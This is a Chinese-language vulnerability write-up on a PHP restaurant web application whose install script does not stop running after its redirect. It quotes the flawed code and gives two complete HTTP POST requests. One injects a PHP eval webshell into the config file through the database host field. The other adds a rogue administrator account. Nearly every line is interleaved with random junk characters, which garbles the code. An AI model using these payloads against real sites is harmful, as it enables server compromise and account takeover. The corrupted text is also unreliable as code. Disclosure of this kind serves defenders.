问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
6 U0 |0 P( A; r2 i9 [
g3 U8 U, b, B; [: C ]0 ~) S0 A<?php9 D, a4 M5 R( F Y- j! j
if(file_exists("../install.lock")); R) C9 v1 F- H2 {* N$ o
{
$ f! t" v! k/ b+ A4 |; Y; ] header("Location: ../");//没有退出- V, ~/ _; d3 \4 P; L
}
( E+ }( f) i2 |& j$ l ; k5 r0 g6 ~: ~7 A0 H
//echo 'tst';exit;/ ^5 f; ^0 f$ n( u7 k% Y
require_once("init.php");1 Y: ]2 o% ^+ H7 _
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)7 P5 b1 r0 [: a e
{
4 u- `' B ^; g' w2 b1 f可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。; d/ z5 l, r+ _
% b0 a2 ^: U3 g' N) o) T7 @; s1、getshell(很危险)4 f! Z( n5 W% P, @7 i
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)8 M9 D3 L% L0 J! Q( m+ z w
{
3 R4 X" Q4 i& z1 P8 |3 t$smarty->assign("step",1);
! b) W1 I: Q/ h. y& _+ y7 w$smarty->display("index.html");* |/ O; N+ q' g1 D! y z
}elseif($_REQUEST['step']==2)
' T9 M |* m( F! w{- [' J5 B/ m0 c" Q2 O" l; a( D u% `/ v- U
$mysql_host=trim($_POST['mysql_host']);
1 ?5 s! o! M9 k9 ^ $mysql_user=trim($_POST['mysql_user']);
! b8 ^. c% c; ^! l* d/ E $mysql_pwd=trim($_POST['mysql_pwd']);+ l7 k. |( D7 j$ a
$mysql_db=trim($_POST['mysql_db']);0 D8 v4 ~ K' F
$tblpre=trim($_POST['tblpre']);
. Z( M" T8 }" C( I1 Q$ Q/ y5 x $domain==trim($_POST['domain']);
/ h+ Q) S, W$ k- H! R! H1 y/ v $str="<?php \r\n";
- v" h" l2 k5 N! c2 B2 g( R $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
N8 H4 m2 t5 c) e2 N, ^ $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
: g) k' s5 G& m7 L, q I. A $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";/ _+ n5 s: z$ Q3 M1 j! N# H$ C
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";% W0 ^" R1 F) {5 B2 M, I
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
+ i$ m2 a2 u- y( G2 ` $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
+ f: S* Y6 w3 R! \! C $str.='define("DOMAIN","'.$domain.'");'."\r\n";: h6 c' P+ x& e+ Y, L+ m* F
$str.='define("SKINS","default");'."\r\n";
9 }1 F) A, x9 l% J2 ?# n+ z; z. }* C $str.='?>';
) `- q1 E5 D# P8 m8 i3 ? file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件( R8 a- |, F' g3 I: t
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
( n. S3 S# w* i7 q: fPOST /canting/install/index.php?m=index&step=2 HTTP/1.1# X3 @, j, ?( Q0 \6 u, t/ M
Host: 192.168.80.129
$ y& j6 o% i7 D5 `( f, I RUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
( c0 v& K6 i: ~" H/ U9 g# F# CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.86 S# P% @( @1 n" W) K( U4 l
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
7 ~( H& J, j- q" r2 iAccept-Encoding: gzip, deflate \% {( H4 q' `5 f4 h1 L
Referer: http://192.168.80.129/canting/install/index.php?step=1( B+ }* b, j% P* k
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc428 d2 X2 ^7 z' i, g5 y% s3 r9 ?
Content-Type: application/x-www-form-urlencoded
4 t. N. d' V) j; {/ C0 QContent-Length: 1263 e5 [9 |& O( q/ y, v# l, x
! e+ y8 e u6 b/ V0 o9 Amysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
# j7 k7 P5 q1 m( T# m, {. f但是这个方法很危险,将导致网站无法运行。
, ?! N1 D$ o9 p0 ~6 ?. T
, l3 k0 p$ L, f4 [. Z2、直接添加管理员6 @6 w$ g: s% `8 j2 C
9 ]/ n: C, e) u2 [9 u/ c7 ^
elseif($_REQUEST['step']==5)) f* M4 Y/ \0 t' Q/ h
{3 q( G6 j' O1 ]! }+ g- l) T
if($_POST)' C. B. d9 \' {6 N$ [
{ require_once("../config/config.inc.php");
. D, s B, K. D& s2 w( a( a# F5 x $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);" t2 R3 t, l8 b6 y8 G% {
mysql_select_db(MYSQL_DB,$link);$ ]+ p3 D3 N$ |
mysql_query("SET NAMES ".MYSQL_CHARSET );# t7 w: n3 c% g( A+ |* \
mysql_query("SET sql_mode=''");
2 `5 }7 ~( R3 y8 m
6 q d- k; } ` $adminname=trim($_POST['adminname']);: z' ~. S! Q# p( E, \
$pwd1=trim($_POST['pwd1']);' D6 o- Q& D' ~
$pwd2=trim($_POST['pwd2']);
4 U" x5 y- i* V4 {6 ?7 B1 ^: b; x if(empty($adminname))
" }- }% c3 K3 t: l, k {
8 B+ {- G% C( [/ W' m2 i$ v
$ m- n# ~/ u$ G. o, @* l& I$ c5 z echo "<script>alert('管理员不能为空');history.go(-1);</script>";; W5 \) \/ K& g) G) \- u5 D4 Z
exit();
3 K7 l2 x* g8 A' W/ h! P8 Y4 P: U }
. {; M% m% H. c5 m if(($pwd1!=$pwd2) or empty($pwd1))
* @- M; j% K; i- \* R4 M5 G% l" S. R {
- d9 @5 ~$ E Q echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出9 v& j6 w, P; f+ z. S2 T& F9 j0 ~8 Q
}
& _9 W k$ U6 r0 s1 C J$ }" F) I mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
6 i# ^- Y, a" Q$ J: a }* x H4 X( m* b6 D6 m' A9 j& n4 S
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:' N% C/ B$ w& O
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
1 \: } d. M+ J$ kHost: 192.168.80.129
- D. Q# @* @# W3 wUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0. P& i" J& \- {: R& x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ g/ c1 p+ |2 t9 p3 |2 \2 k5 wAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
# U4 ^1 x, j; bAccept-Encoding: gzip, deflate3 J6 {) {% {' e) Z
Referer: http://www.2cto.com /canting/install/index.php?step=1 E! c% i7 _. T
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
0 F: A: ?: J; |% ^* Z: i* LContent-Type: application/x-www-form-urlencoded9 |/ }% y6 \1 V1 L M
Content-Length: 46
/ O* i3 |7 n/ K
' B( j o; w/ g* W* g! S8 A- ]adminname=qingshen&pwd1=qingshen&pwd2=qingshen ]+ s3 a' R! ]$ h' s3 g& F; W( t/ q
|